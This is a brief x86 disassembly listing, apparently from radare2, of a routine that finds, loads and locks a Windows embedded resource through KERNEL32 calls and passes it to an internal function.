push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x427871
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x427868
xor eax, eax
jmp 0x427879
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0042787f
pop edi
pop esi
pop ebx
ret 4